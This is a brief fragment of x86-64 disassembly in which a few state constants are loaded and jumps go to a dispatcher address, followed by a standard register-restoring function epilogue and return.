mov ecx, 0xff956927
mov dword [rbp + 0x98], 0
jmp 0x14005b9b4
mov ecx, 0xa6e36143
xor r13d, r13d
jmp 0x14005b9b4
cmp ecx, 0x343a6606
jne 0x14005b9b4
mov rax, qword [rbp - 0x28]
and r12b, 1
mov eax, r12d
movaps xmm6, xmmword [rbp + 0xd0]
lea rsp, [rbp + 0xe8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret